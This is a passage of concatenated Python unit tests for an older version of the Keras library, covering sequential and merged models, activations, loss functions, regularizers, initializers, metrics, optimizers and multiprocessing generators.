                yield (X_train[i * batch_size: (i + 1) * batch_size], y_train[i * batch_size: (i + 1) * batch_size])
            else:
                yield (X_test[i * batch_size: (i + 1) * batch_size], y_test[i * batch_size: (i + 1) * batch_size])
            i += 1
            i = i % max_batch_index

    model = Sequential()
    model.add(Dense(nb_hidden, input_shape=(input_dim,)))
    model.add(Activation('relu'))
    model.add(Dense(nb_class))
    model.pop()
    model.add(Dense(nb_class))
    model.add(Activation('softmax'))
    model.compile(loss='categorical_crossentropy', optimizer='rmsprop')

    model.fit_generator(data_generator(True), len(X_train), nb_epoch)
    model.fit_generator(data_generator(True), len(X_train), nb_epoch, validation_data=(X_test, y_test))
    model.fit_generator(data_generator(True), len(X_train), nb_epoch,
                        validation_data=data_generator(False), nb_val_samples=batch_size * 3)
    model.fit_generator(data_generator(True), len(X_train), nb_epoch, max_q_size=2)
    model.evaluate(X_train, y_train)


@keras_test
def test_sequential():
    (X_train, y_train), (X_test, y_test) = _get_test_data()

    # TODO: factor out
    def data_generator(x, y, batch_size=50):
        index_array = np.arange(len(x))
        while 1:
            batches = make_batches(len(X_test), batch_size)
            for batch_index, (batch_start, batch_end) in enumerate(batches):
                batch_ids = index_array[batch_start:batch_end]
                x_batch = x[batch_ids]
                y_batch = y[batch_ids]
                yield (x_batch, y_batch)

    model = Sequential()
    model.add(Dense(nb_hidden, input_shape=(input_dim,)))
    model.add(Activation('relu'))
    model.add(Dense(nb_class))
    model.add(Activation('softmax'))
    model.compile(loss='categorical_crossentropy', optimizer='rmsprop')

    model.fit(X_train, y_train, batch_size=batch_size, nb_epoch=nb_epoch, verbose=1, validation_data=(X_test, y_test))
    model.fit(X_train, y_train, batch_size=batch_size, nb_epoch=nb_epoch, verbose=2, validation_split=0.1)
    model.fit(X_train, y_train, batch_size=batch_size, nb_epoch=nb_epoch, verbose=0)
    model.fit(X_train, y_train, batch_size=batch_size, nb_epoch=nb_epoch, verbose=1, shuffle=False)

    model.train_on_batch(X_train[:32], y_train[:32])

    loss = model.evaluate(X_test, y_test)

    prediction = model.predict_generator(data_generator(X_test, y_test), X_test.shape[0], max_q_size=2)
    gen_loss = model.evaluate_generator(data_generator(X_test, y_test, 50), X_test.shape[0], max_q_size=2)
    pred_loss = K.eval(K.mean(objectives.get(model.loss)(K.variable(y_test), K.variable(prediction))))

    assert(np.isclose(pred_loss, loss))
    assert(np.isclose(gen_loss, loss))

    model.predict(X_test, verbose=0)
    model.predict_classes(X_test, verbose=0)
    model.predict_proba(X_test, verbose=0)

    fname = 'test_sequential_temp.h5'
    model.save_weights(fname, overwrite=True)
    model = Sequential()
    model.add(Dense(nb_hidden, input_shape=(input_dim,)))
    model.add(Activation('relu'))
    model.add(Dense(nb_class))
    model.add(Activation('softmax'))
    model.compile(loss='categorical_crossentropy', optimizer='rmsprop')
    model.load_weights(fname)
    os.remove(fname)

    nloss = model.evaluate(X_test, y_test, verbose=0)
    assert(loss == nloss)

    # test serialization
    config = model.get_config()
    Sequential.from_config(config)

    model.summary()
    json_str = model.to_json()
    model_from_json(json_str)

    yaml_str = model.to_yaml()
    model_from_yaml(yaml_str)


@keras_test
def test_nested_sequential():
    (X_train, y_train), (X_test, y_test) = _get_test_data()

    inner = Sequential()
    inner.add(Dense(nb_hidden, input_shape=(input_dim,)))
    inner.add(Activation('relu'))
    inner.add(Dense(nb_class))

    middle = Sequential()
    middle.add(inner)

    model = Sequential()
    model.add(middle)
    model.add(Activation('softmax'))
    model.compile(loss='categorical_crossentropy', optimizer='rmsprop')

    model.fit(X_train, y_train, batch_size=batch_size, nb_epoch=nb_epoch, verbose=1, validation_data=(X_test, y_test))
    model.fit(X_train, y_train, batch_size=batch_size, nb_epoch=nb_epoch, verbose=2, validation_split=0.1)
    model.fit(X_train, y_train, batch_size=batch_size, nb_epoch=nb_epoch, verbose=0)
    model.fit(X_train, y_train, batch_size=batch_size, nb_epoch=nb_epoch, verbose=1, shuffle=False)

    model.train_on_batch(X_train[:32], y_train[:32])

    loss = model.evaluate(X_test, y_test, verbose=0)

    model.predict(X_test, verbose=0)
    model.predict_classes(X_test, verbose=0)
    model.predict_proba(X_test, verbose=0)

    fname = 'test_nested_sequential_temp.h5'
    model.save_weights(fname, overwrite=True)

    inner = Sequential()
    inner.add(Dense(nb_hidden, input_shape=(input_dim,)))
    inner.add(Activation('relu'))
    inner.add(Dense(nb_class))

    middle = Sequential()
    middle.add(inner)

    model = Sequential()
    model.add(middle)
    model.add(Activation('softmax'))
    model.compile(loss='categorical_crossentropy', optimizer='rmsprop')
    model.load_weights(fname)
    os.remove(fname)

    nloss = model.evaluate(X_test, y_test, verbose=0)
    assert(loss == nloss)

    # test serialization
    config = model.get_config()
    Sequential.from_config(config)

    model.summary()
    json_str = model.to_json()
    model_from_json(json_str)

    yaml_str = model.to_yaml()
    model_from_yaml(yaml_str)


@keras_test
def test_merge_sum():
    (X_train, y_train), (X_test, y_test) = _get_test_data()
    left = Sequential()
    left.add(Dense(nb_hidden, input_shape=(input_dim,)))
    left.add(Activation('relu'))

    right = Sequential()
    right.add(Dense(nb_hidden, input_shape=(input_dim,)))
    right.add(Activation('relu'))

    model = Sequential()
    model.add(Merge([left, right], mode='sum'))
    model.add(Dense(nb_class))
    model.add(Activation('softmax'))
    model.compile(loss='categorical_crossentropy', optimizer='rmsprop')

    model.fit([X_train, X_train], y_train, batch_size=batch_size, nb_epoch=nb_epoch, verbose=0, validation_data=([X_test, X_test], y_test))
    model.fit([X_train, X_train], y_train, batch_size=batch_size, nb_epoch=nb_epoch, verbose=0, validation_split=0.1)
    model.fit([X_train, X_train], y_train, batch_size=batch_size, nb_epoch=nb_epoch, verbose=0)
    model.fit([X_train, X_train], y_train, batch_size=batch_size, nb_epoch=nb_epoch, verbose=0, shuffle=False)

    loss = model.evaluate([X_test, X_test], y_test, verbose=0)

    model.predict([X_test, X_test], verbose=0)
    model.predict_classes([X_test, X_test], verbose=0)
    model.predict_proba([X_test, X_test], verbose=0)

    # test weight saving
    fname = 'test_merge_sum_temp.h5'
    model.save_weights(fname, overwrite=True)
    left = Sequential()
    left.add(Dense(nb_hidden, input_shape=(input_dim,)))
    left.add(Activation('relu'))
    right = Sequential()
    right.add(Dense(nb_hidden, input_shape=(input_dim,)))
    right.add(Activation('relu'))
    model = Sequential()
    model.add(Merge([left, right], mode='sum'))
    model.add(Dense(nb_class))
    model.add(Activation('softmax'))
    model.load_weights(fname)
    os.remove(fname)
    model.compile(loss='categorical_crossentropy', optimizer='rmsprop')

    nloss = model.evaluate([X_test, X_test], y_test, verbose=0)
    assert(loss == nloss)

    # test serialization
    config = model.get_config()
    Sequential.from_config(config)

    model.summary()
    json_str = model.to_json()
    model_from_json(json_str)

    yaml_str = model.to_yaml()
    model_from_yaml(yaml_str)


@keras_test
def test_merge_dot():
    (X_train, y_train), (X_test, y_test) = _get_test_data()

    left = Sequential()
    left.add(Dense(input_dim=input_dim, output_dim=nb_hidden))
    left.add(Activation('relu'))

    right = Sequential()
    right.add(Dense(input_dim=input_dim, output_dim=nb_hidden))
    right.add(Activation('relu'))

    model = Sequential()
    model.add(Merge([left, right], mode='dot', dot_axes=1))
    model.add(Dense(nb_class))
    model.add(Activation('softmax'))

    model.compile(loss='categorical_crossentropy', optimizer='rmsprop')

    left = Sequential()
    left.add(Dense(input_dim=input_dim, output_dim=nb_hidden))
    left.add(Activation('relu'))

    right = Sequential()
    right.add(Dense(input_dim=input_dim, output_dim=nb_hidden))
    right.add(Activation('relu'))

    model = Sequential()
    model.add(Merge([left, right], mode='dot', dot_axes=[1, 1]))
    model.add(Dense(nb_class))
    model.add(Activation('softmax'))

    model.compile(loss='categorical_crossentropy', optimizer='rmsprop')


@keras_test
def test_merge_concat():
    (X_train, y_train), (X_test, y_test) = _get_test_data()

    left = Sequential(name='branch_1')
    left.add(Dense(nb_hidden, input_shape=(input_dim,), name='dense_1'))
    left.add(Activation('relu', name='relu_1'))

    right = Sequential(name='branch_2')
    right.add(Dense(nb_hidden, input_shape=(input_dim,), name='dense_2'))
    right.add(Activation('relu', name='relu_2'))

    model = Sequential(name='merged_branches')
    model.add(Merge([left, right], mode='concat', name='merge'))
    model.add(Dense(nb_class, name='final_dense'))
    model.add(Activation('softmax', name='softmax'))
    model.compile(loss='categorical_crossentropy', optimizer='rmsprop')

    model.fit([X_train, X_train], y_train, batch_size=batch_size, nb_epoch=nb_epoch, verbose=0, validation_data=([X_test, X_test], y_test))
    model.fit([X_train, X_train], y_train, batch_size=batch_size, nb_epoch=nb_epoch, verbose=0, validation_split=0.1)
    model.fit([X_train, X_train], y_train, batch_size=batch_size, nb_epoch=nb_epoch, verbose=0)
    model.fit([X_train, X_train], y_train, batch_size=batch_size, nb_epoch=nb_epoch, verbose=0, shuffle=False)

    loss = model.evaluate([X_test, X_test], y_test, verbose=0)

    model.predict([X_test, X_test], verbose=0)
    model.predict_classes([X_test, X_test], verbose=0)
    model.predict_proba([X_test, X_test], verbose=0)
    model.get_config()

    fname = 'test_merge_concat_temp.h5'
    model.save_weights(fname, overwrite=True)
    model.fit([X_train, X_train], y_train, batch_size=batch_size, nb_epoch=nb_epoch, verbose=0)
    model.load_weights(fname)
    os.remove(fname)

    nloss = model.evaluate([X_test, X_test], y_test, verbose=0)
    assert(loss == nloss)


@keras_test
def test_merge_recursivity():
    (X_train, y_train), (X_test, y_test) = _get_test_data()
    left = Sequential()
    left.add(Dense(nb_hidden, input_shape=(input_dim,)))
    left.add(Activation('relu'))

    right = Sequential()
    right.add(Dense(nb_hidden, input_shape=(input_dim,)))
    right.add(Activation('relu'))

    righter = Sequential()
    righter.add(Dense(nb_hidden, input_shape=(input_dim,)))
    righter.add(Activation('relu'))

    intermediate = Sequential()
    intermediate.add(Merge([left, right], mode='sum'))
    intermediate.add(Dense(nb_hidden))
    intermediate.add(Activation('relu'))

    model = Sequential()
    model.add(Merge([intermediate, righter], mode='sum'))
    model.add(Dense(nb_class))
    model.add(Activation('softmax'))
    model.compile(loss='categorical_crossentropy', optimizer='rmsprop')

    model.fit([X_train, X_train, X_train], y_train, batch_size=batch_size, nb_epoch=nb_epoch, verbose=0, validation_data=([X_test, X_test, X_test], y_test))
    model.fit([X_train, X_train, X_train], y_train, batch_size=batch_size, nb_epoch=nb_epoch, verbose=0, validation_split=0.1)
    model.fit([X_train, X_train, X_train], y_train, batch_size=batch_size, nb_epoch=nb_epoch, verbose=0)
    model.fit([X_train, X_train, X_train], y_train, batch_size=batch_size, nb_epoch=nb_epoch, verbose=0, shuffle=False)

    loss = model.evaluate([X_test, X_test, X_test], y_test, verbose=0)

    model.predict([X_test, X_test, X_test], verbose=0)
    model.predict_classes([X_test, X_test, X_test], verbose=0)
    model.predict_proba([X_test, X_test, X_test], verbose=0)

    fname = 'test_merge_recursivity_temp.h5'
    model.save_weights(fname, overwrite=True)
    model.load_weights(fname)
    os.remove(fname)

    nloss = model.evaluate([X_test, X_test, X_test], y_test, verbose=0)
    assert(loss == nloss)

    # test serialization
    config = model.get_config()
    Sequential.from_config(config)

    model.summary()
    json_str = model.to_json()
    model_from_json(json_str)

    yaml_str = model.to_yaml()
    model_from_yaml(yaml_str)


@keras_test
def test_merge_overlap():
    (X_train, y_train), (X_test, y_test) = _get_test_data()
    left = Sequential()
    left.add(Dense(nb_hidden, input_shape=(input_dim,)))
    left.add(Activation('relu'))

    model = Sequential()
    model.add(Merge([left, left], mode='sum'))
    model.add(Dense(nb_class))
    model.add(Activation('softmax'))
    model.compile(loss='categorical_crossentropy', optimizer='rmsprop')

    model.fit(X_train, y_train, batch_size=batch_size, nb_epoch=nb_epoch, verbose=1, validation_data=(X_test, y_test))
    model.fit(X_train, y_train, batch_size=batch_size, nb_epoch=nb_epoch, verbose=2, validation_split=0.1)
    model.fit(X_train, y_train, batch_size=batch_size, nb_epoch=nb_epoch, verbose=0)
    model.fit(X_train, y_train, batch_size=batch_size, nb_epoch=nb_epoch, verbose=1, shuffle=False)

    model.train_on_batch(X_train[:32], y_train[:32])

    loss = model.evaluate(X_test, y_test, verbose=0)
    model.predict(X_test, verbose=0)
    model.predict_classes(X_test, verbose=0)
    model.predict_proba(X_test, verbose=0)

    fname = 'test_merge_overlap_temp.h5'
    print(model.layers)
    model.save_weights(fname, overwrite=True)
    print(model.trainable_weights)

    model.load_weights(fname)
    os.remove(fname)

    nloss = model.evaluate(X_test, y_test, verbose=0)
    assert(loss == nloss)

    # test serialization
    config = model.get_config()
    Sequential.from_config(config)

    model.summary()
    json_str = model.to_json()
    model_from_json(json_str)

    yaml_str = model.to_yaml()
    model_from_yaml(yaml_str)


@keras_test
def test_sequential_count_params():
    input_dim = 20
    nb_units = 10
    nb_classes = 2

    n = input_dim * nb_units + nb_units
    n += nb_units * nb_units + nb_units
    n += nb_units * nb_classes + nb_classes

    model = Sequential()
    model.add(Dense(nb_units, input_shape=(input_dim,)))
    model.add(Dense(nb_units))
    model.add(Dense(nb_classes))
    model.add(Activation('softmax'))
    model.build()

    assert(n == model.count_params())

    model.compile('sgd', 'binary_crossentropy')
    assert(n == model.count_params())


if __name__ == '__main__':
    pytest.main([__file__])






import pytest
import numpy as np
from numpy.testing import assert_allclose

from keras import backend as K
from keras import activations


def get_standard_values():
    '''
    These are just a set of floats used for testing the activation
    functions, and are useful in multiple tests.
    '''
    return np.array([[0, 0.1, 0.5, 0.9, 1.0]], dtype=K.floatx())


def test_softmax():
    '''
    Test using a reference implementation of softmax
    '''
    def softmax(values):
        m = np.max(values)
        e = np.exp(values - m)
        return e / np.sum(e)

    x = K.placeholder(ndim=2)
    f = K.function([x], [activations.softmax(x)])
    test_values = get_standard_values()

    result = f([test_values])[0]
    expected = softmax(test_values)
    assert_allclose(result, expected, rtol=1e-05)


def test_time_distributed_softmax():
    x = K.placeholder(shape=(1, 1, 5))
    f = K.function([x], [activations.softmax(x)])
    test_values = get_standard_values()
    test_values = np.reshape(test_values, (1, 1, np.size(test_values)))
    f([test_values])[0]


def test_softplus():
    '''
    Test using a reference softplus implementation
    '''
    def softplus(x):
        return np.log(np.ones_like(x) + np.exp(x))

    x = K.placeholder(ndim=2)
    f = K.function([x],  [activations.softplus(x)])
    test_values = get_standard_values()

    result = f([test_values])[0]
    expected = softplus(test_values)
    assert_allclose(result, expected, rtol=1e-05)


def test_softsign():
    '''
    Test using a reference softsign implementation
    '''
    def softsign(x):
        return np.divide(x, np.ones_like(x) + np.absolute(x))

    x = K.placeholder(ndim=2)
    f = K.function([x],  [activations.softsign(x)])
    test_values = get_standard_values()

    result = f([test_values])[0]
    expected = softsign(test_values)
    assert_allclose(result, expected, rtol=1e-05)


def test_sigmoid():
    '''
    Test using a numerically stable reference sigmoid implementation
    '''
    def ref_sigmoid(x):
        if x >= 0:
            return 1 / (1 + np.exp(-x))
        else:
            z = np.exp(x)
            return z / (1 + z)
    sigmoid = np.vectorize(ref_sigmoid)

    x = K.placeholder(ndim=2)
    f = K.function([x],  [activations.sigmoid(x)])
    test_values = get_standard_values()

    result = f([test_values])[0]
    expected = sigmoid(test_values)
    assert_allclose(result, expected, rtol=1e-05)


def test_hard_sigmoid():
    '''
    Test using a reference hard sigmoid implementation
    '''
    def ref_hard_sigmoid(x):
        '''
        Reference hard sigmoid with slope and shift values from theano, see
        https://github.com/Theano/Theano/blob/master/theano/tensor/nnet/sigm.py
        '''
        x = (x * 0.2) + 0.5
        z = 0.0 if x <= 0 else (1.0 if x >= 1 else x)
        return z
    hard_sigmoid = np.vectorize(ref_hard_sigmoid)

    x = K.placeholder(ndim=2)
    f = K.function([x],  [activations.hard_sigmoid(x)])
    test_values = get_standard_values()

    result = f([test_values])[0]
    expected = hard_sigmoid(test_values)
    assert_allclose(result, expected, rtol=1e-05)


def test_relu():
    '''
    Relu implementation doesn't depend on the value being
    a theano variable. Testing ints, floats and theano tensors.
    '''
    x = K.placeholder(ndim=2)
    f = K.function([x], [activations.relu(x)])

    test_values = get_standard_values()
    result = f([test_values])[0]

    # because no negatives in test values
    assert_allclose(result, test_values, rtol=1e-05)


def test_tanh():
    test_values = get_standard_values()

    x = K.placeholder(ndim=2)
    exp = activations.tanh(x)
    f = K.function([x], [exp])

    result = f([test_values])[0]
    expected = np.tanh(test_values)
    assert_allclose(result, expected, rtol=1e-05)


def test_linear():
    '''
    This function does no input validation, it just returns the thing
    that was passed in.
    '''
    xs = [1, 5, True, None, 'foo']
    for x in xs:
        assert(x == activations.linear(x))


if __name__ == '__main__':
    pytest.main([__file__])






import pytest
import numpy as np

from keras import objectives
from keras import backend as K


allobj = [objectives.mean_squared_error,
          objectives.mean_absolute_error,
          objectives.mean_absolute_percentage_error,
          objectives.mean_squared_logarithmic_error,
          objectives.squared_hinge,
          objectives.hinge, objectives.categorical_crossentropy,
          objectives.binary_crossentropy,
          objectives.kullback_leibler_divergence,
          objectives.poisson,
          objectives.cosine_proximity]


def test_objective_shapes_3d():
    y_a = K.variable(np.random.random((5, 6, 7)))
    y_b = K.variable(np.random.random((5, 6, 7)))
    for obj in allobj:
        objective_output = obj(y_a, y_b)
        assert K.eval(objective_output).shape == (5, 6)


def test_objective_shapes_2d():
    y_a = K.variable(np.random.random((6, 7)))
    y_b = K.variable(np.random.random((6, 7)))
    for obj in allobj:
        objective_output = obj(y_a, y_b)
        assert K.eval(objective_output).shape == (6,)


def test_cce_one_hot():
    y_a = K.variable(np.random.randint(0, 7, (5, 6)))
    y_b = K.variable(np.random.random((5, 6, 7)))
    objective_output = objectives.sparse_categorical_crossentropy(y_a, y_b)
    assert K.eval(objective_output).shape == (5, 6)

    y_a = K.variable(np.random.randint(0, 7, (6,)))
    y_b = K.variable(np.random.random((6, 7)))
    assert K.eval(objectives.sparse_categorical_crossentropy(y_a, y_b)).shape == (6,)


if __name__ == "__main__":
    pytest.main([__file__])






import pytest
import numpy as np
np.random.seed(1337)

from keras.models import Sequential
from keras.layers import Merge
from keras.layers import Dense
from keras.layers import Activation
from keras.layers import Flatten
from keras.layers import ActivityRegularization
from keras.layers import Embedding
from keras.datasets import mnist
from keras.utils import np_utils
from keras import regularizers

nb_classes = 10
batch_size = 128
nb_epoch = 5
weighted_class = 9
standard_weight = 1
high_weight = 5
max_train_samples = 5000
max_test_samples = 1000


def get_data():
    # the data, shuffled and split between tran and test sets
    (X_train, y_train), (X_test, y_test) = mnist.load_data()
    X_train = X_train.reshape(60000, 784)[:max_train_samples]
    X_test = X_test.reshape(10000, 784)[:max_test_samples]
    X_train = X_train.astype("float32") / 255
    X_test = X_test.astype("float32") / 255

    # convert class vectors to binary class matrices
    y_train = y_train[:max_train_samples]
    y_test = y_test[:max_test_samples]
    Y_train = np_utils.to_categorical(y_train, nb_classes)
    Y_test = np_utils.to_categorical(y_test, nb_classes)
    test_ids = np.where(y_test == np.array(weighted_class))[0]

    return (X_train, Y_train), (X_test, Y_test), test_ids


def create_model(weight_reg=None, activity_reg=None):
    model = Sequential()
    model.add(Dense(50, input_shape=(784,)))
    model.add(Activation('relu'))
    model.add(Dense(10, W_regularizer=weight_reg,
                    activity_regularizer=activity_reg))
    model.add(Activation('softmax'))
    return model


def test_Eigenvalue_reg():
    (X_train, Y_train), (X_test, Y_test), test_ids = get_data()
    reg = regularizers.EigenvalueRegularizer(0.01)
    model = create_model(weight_reg=reg)
    model.compile(loss='categorical_crossentropy', optimizer='rmsprop')
    model.fit(X_train, Y_train, batch_size=batch_size, nb_epoch=nb_epoch, verbose=0)
    model.evaluate(X_test[test_ids, :], Y_test[test_ids, :], verbose=0)


def test_W_reg():
    (X_train, Y_train), (X_test, Y_test), test_ids = get_data()
    for reg in [regularizers.l1(),
                regularizers.l2(),
                regularizers.l1l2()]:
        model = create_model(weight_reg=reg)
        model.compile(loss='categorical_crossentropy', optimizer='rmsprop')
        model.fit(X_train, Y_train, batch_size=batch_size,
                  nb_epoch=nb_epoch, verbose=0)
        model.evaluate(X_test[test_ids, :], Y_test[test_ids, :], verbose=0)


def test_A_reg():
    (X_train, Y_train), (X_test, Y_test), test_ids = get_data()
    for reg in [regularizers.activity_l1(), regularizers.activity_l2()]:
        model = create_model(activity_reg=reg)
        model.compile(loss='categorical_crossentropy', optimizer='rmsprop')
        model.fit(X_train, Y_train, batch_size=batch_size,
                  nb_epoch=nb_epoch, verbose=0)
        model.evaluate(X_test[test_ids, :], Y_test[test_ids, :], verbose=0)


if __name__ == '__main__':
    pytest.main([__file__])






import pytest
import numpy as np

from keras import initializations
from keras import backend as K

# 2D tensor test fixture
FC_SHAPE = (100, 100)

# 4D convolution in th order. This shape has the same effective shape as FC_SHAPE
CONV_SHAPE = (25, 25, 2, 2)

# The equivalent shape of both test fixtures
SHAPE = (100, 100)

def _runner(init, shape, target_mean=None, target_std=None,
            target_max=None, target_min=None):
    variable = init(shape)
    output = K.get_value(variable)
    lim = 1e-2
    if target_std is not None:
        assert abs(output.std() - target_std) < lim
    if target_mean is not None:
        assert abs(output.mean() - target_mean) < lim
    if target_max is not None:
        assert abs(output.max() - target_max) < lim
    if target_min is not None:
        assert abs(output.min() - target_min) < lim


@pytest.mark.parametrize('tensor_shape', [FC_SHAPE, CONV_SHAPE], ids=['FC', 'CONV'])
def test_uniform(tensor_shape):
    _runner(initializations.uniform, tensor_shape, target_mean=0.,
            target_max=0.05, target_min=-0.05)


@pytest.mark.parametrize('tensor_shape', [FC_SHAPE, CONV_SHAPE], ids=['FC', 'CONV'])
def test_normal(tensor_shape):
    _runner(initializations.normal, tensor_shape, target_mean=0., target_std=0.05)


@pytest.mark.parametrize('tensor_shape', [FC_SHAPE, CONV_SHAPE], ids=['FC', 'CONV'])
def test_lecun_uniform(tensor_shape):
    scale = np.sqrt(3. / SHAPE[0])
    _runner(initializations.lecun_uniform, tensor_shape,
            target_mean=0., target_max=scale, target_min=-scale)


@pytest.mark.parametrize('tensor_shape', [FC_SHAPE, CONV_SHAPE], ids=['FC', 'CONV'])
def test_glorot_uniform(tensor_shape):
    scale = np.sqrt(6. / (SHAPE[0] + SHAPE[1]))
    _runner(initializations.glorot_uniform, tensor_shape, target_mean=0.,
            target_max=scale, target_min=-scale)


@pytest.mark.parametrize('tensor_shape', [FC_SHAPE, CONV_SHAPE], ids=['FC', 'CONV'])
def test_glorot_normal(tensor_shape):
    scale = np.sqrt(2. / (SHAPE[0] + SHAPE[1]))
    _runner(initializations.glorot_normal, tensor_shape,
            target_mean=0., target_std=scale)


@pytest.mark.parametrize('tensor_shape', [FC_SHAPE, CONV_SHAPE], ids=['FC', 'CONV'])
def test_he_uniform(tensor_shape):
    scale = np.sqrt(6. / SHAPE[0])
    _runner(initializations.he_uniform, tensor_shape, target_mean=0.,
            target_max=scale, target_min=-scale)


@pytest.mark.parametrize('tensor_shape', [FC_SHAPE, CONV_SHAPE], ids=['FC', 'CONV'])
def test_he_normal(tensor_shape):
    scale = np.sqrt(2. / SHAPE[0])
    _runner(initializations.he_normal, tensor_shape,
            target_mean=0., target_std=scale)


@pytest.mark.parametrize('tensor_shape', [FC_SHAPE, CONV_SHAPE], ids=['FC', 'CONV'])
def test_orthogonal(tensor_shape):
    _runner(initializations.orthogonal, tensor_shape,
            target_mean=0.)


@pytest.mark.parametrize('tensor_shape', [FC_SHAPE, CONV_SHAPE], ids=['FC', 'CONV'])
def test_identity(tensor_shape):
    if len(tensor_shape) > 2:
        with pytest.raises(Exception):
            _runner(initializations.identity, tensor_shape,
                    target_mean=1./SHAPE[0], target_max=1.)
    else:
        _runner(initializations.identity, tensor_shape,
                target_mean=1./SHAPE[0], target_max=1.)


@pytest.mark.parametrize('tensor_shape', [FC_SHAPE, CONV_SHAPE], ids=['FC', 'CONV'])
def test_zero(tensor_shape):
    _runner(initializations.zero, tensor_shape,
            target_mean=0., target_max=0.)


@pytest.mark.parametrize('tensor_shape', [FC_SHAPE, CONV_SHAPE], ids=['FC', 'CONV'])
def test_one(tensor_shape):
    _runner(initializations.one, tensor_shape,
            target_mean=1., target_max=1.)


if __name__ == '__main__':
    pytest.main([__file__])






import pytest
import numpy as np

from keras import metrics
from keras import backend as K

all_metrics = [
    metrics.binary_accuracy,
    metrics.categorical_accuracy,
    metrics.mean_squared_error,
    metrics.mean_absolute_error,
    metrics.mean_absolute_percentage_error,
    metrics.mean_squared_logarithmic_error,
    metrics.squared_hinge,
    metrics.hinge,
    metrics.categorical_crossentropy,
    metrics.binary_crossentropy,
    metrics.poisson,
    metrics.cosine_proximity,
]

all_sparse_metrics = [
    metrics.sparse_categorical_accuracy,
    metrics.sparse_categorical_crossentropy,
]


def test_metrics():
    y_a = K.variable(np.random.random((6, 7)))
    y_b = K.variable(np.random.random((6, 7)))
    for metric in all_metrics:
        output = metric(y_a, y_b)
        assert K.eval(output).shape == ()


def test_sparse_metrics():
    for metric in all_sparse_metrics:
        y_a = K.variable(np.random.randint(0, 7, (6,)), dtype=K.floatx())
        y_b = K.variable(np.random.random((6, 7)), dtype=K.floatx())
        assert K.eval(metric(y_a, y_b)).shape == ()


if __name__ == "__main__":
    pytest.main([__file__])






from __future__ import print_function
import pytest

from keras.utils.test_utils import get_test_data
from keras.optimizers import SGD, RMSprop, Adagrad, Adadelta, Adam, Adamax, Nadam
from keras.models import Sequential
from keras.layers.core import Dense, Activation
from keras.utils.np_utils import to_categorical


(X_train, y_train), (X_test, y_test) = get_test_data(nb_train=1000,
                                                     nb_test=200,
                                                     input_shape=(10,),
                                                     classification=True,
                                                     nb_class=2)
y_train = to_categorical(y_train)
y_test = to_categorical(y_test)


def get_model(input_dim, nb_hidden, output_dim):
    model = Sequential()
    model.add(Dense(nb_hidden, input_shape=(input_dim,)))
    model.add(Activation('relu'))
    model.add(Dense(output_dim))
    model.add(Activation('softmax'))
    return model


def _test_optimizer(optimizer, target=0.89):
    model = get_model(X_train.shape[1], 10, y_train.shape[1])
    model.compile(loss='categorical_crossentropy',
                  optimizer=optimizer,
                  metrics=['accuracy'])
    history = model.fit(X_train, y_train, nb_epoch=12, batch_size=16,
                        validation_data=(X_test, y_test), verbose=2)
    config = optimizer.get_config()
    assert type(config) == dict
    assert history.history['val_acc'][-1] >= target


def test_sgd():
    sgd = SGD(lr=0.01, momentum=0.9, nesterov=True)
    _test_optimizer(sgd)


def test_rmsprop():
    _test_optimizer(RMSprop())


def test_adagrad():
    _test_optimizer(Adagrad())


def test_adadelta():
    _test_optimizer(Adadelta())


def test_adam():
    _test_optimizer(Adam())


def test_adamax():
    _test_optimizer(Adamax())


def test_nadam():
    _test_optimizer(Nadam())


if __name__ == '__main__':
    pytest.main([__file__])






from __future__ import print_function
import pytest
import numpy as np
from keras.models import Sequential
from keras.layers.core import Dense
from keras.utils.test_utils import keras_test


@keras_test
def test_multiprocessing_training():

    reached_end = False

    arr_data = np.random.randint(0, 256, (500, 2))
    arr_labels = np.random.randint(0, 2, 500)

    def myGenerator():

        batch_size = 32
        n_samples = 500

        while True:
            batch_index = np.random.randint(0, n_samples - batch_size)
            start = batch_index
            end = start + batch_size
            X = arr_data[start: end]
            y = arr_labels[start: end]
            yield X, y

    # Build a NN
    model = Sequential()
    model.add(Dense(1, input_shape=(2, )))
    model.compile(loss='mse', optimizer='adadelta')

    model.fit_generator(myGenerator(),
                        samples_per_epoch=320,
                        nb_epoch=1,
                        verbose=1,
                        max_q_size=10,
                        nb_worker=4,
                        pickle_safe=True)

    model.fit_generator(myGenerator(),
                        samples_per_epoch=320,
                        nb_epoch=1,
                        verbose=1,
                        max_q_size=10,
                        pickle_safe=False)

    reached_end = True

    assert reached_end


@keras_test
def test_multiprocessing_training_fromfile():

    reached_end = False

    arr_data = np.random.randint(0, 256, (500, 2))
    arr_labels = np.random.randint(0, 2, 500)
    np.savez("data.npz", **{"data": arr_data, "labels": arr_labels})

    def myGenerator():

        batch_size = 32
        n_samples = 500

        arr = np.load("data.npz")

        while True:
            batch_index = np.random.randint(0, n_samples - batch_size)
            start = batch_index
            end = start + batch_size
            X = arr["data"][start: end]
            y = arr["labels"][start: end]
            yield X, y

    # Build a NN
    model = Sequential()
    model.add(Dense(1, input_shape=(2, )))
    model.compile(loss='mse', optimizer='adadelta')

    model.fit_generator(myGenerator(),
                        samples_per_epoch=320,
                        nb_epoch=1,
                        verbose=1,
                        max_q_size=10,
                        nb_worker=2,
                        pickle_safe=True)

    model.fit_generator(myGenerator(),
                        samples_per_epoch=320,
                        nb_epoch=1,
                        verbose=1,
                        max_q_size=10,
                        pickle_safe=False)
    reached_end = True

    assert reached_end


@keras_test
def test_multiprocessing_predicting():

    reached_end = False

    arr_data = np.random.randint(0, 256, (500, 2))

    def myGenerator():

        batch_size = 32
        n_samples = 500

        while True:
            batch_index = np.random.randint(0, n_samples - batch_size)
            start = batch_index
            end = start + batch_size
            X = arr_data[start: end]
            yield X

    # Build a NN
    model = Sequential()
    model.add(Dense(1, input_shape=(2, )))
    model.compile(loss='mse', optimizer='adadelta')
    model.predict_generator(myGenerator(),
                            val_samples=320,
                            max_q_size=10,
                            nb_worker=2,
                            pickle_safe=True)
    model.predict_generator(myGenerator(),
                            val_samples=320,
                            max_q_size=10,
                            pickle_safe=False)
    reached_end = True

    assert reached_end


@keras_test
def test_multiprocessing_evaluating():

    reached_end = False

    arr_data = np.random.randint(0, 256, (500, 2))
    arr_labels = np.random.randint(0, 2, 500)

    def myGenerator():

        batch_size = 32
        n_samples = 500

        while True:
            batch_index = np.random.randint(0, n_samples - batch_size)
            start = batch_index
            end = start + batch_size
            X = arr_data[start: end]
            y = arr_labels[start: end]
            yield X, y

    # Build a NN
    model = Sequential()
    model.add(Dense(1, input_shape=(2, )))
    model.compile(loss='mse', optimizer='adadelta')

    model.evaluate_generator(myGenerator(),
                             val_samples=320,
                             max_q_size=10,
                             nb_worker=2,
                             pickle_safe=True)
    model.evaluate_generator(myGenerator(),
                             val_samples=320,
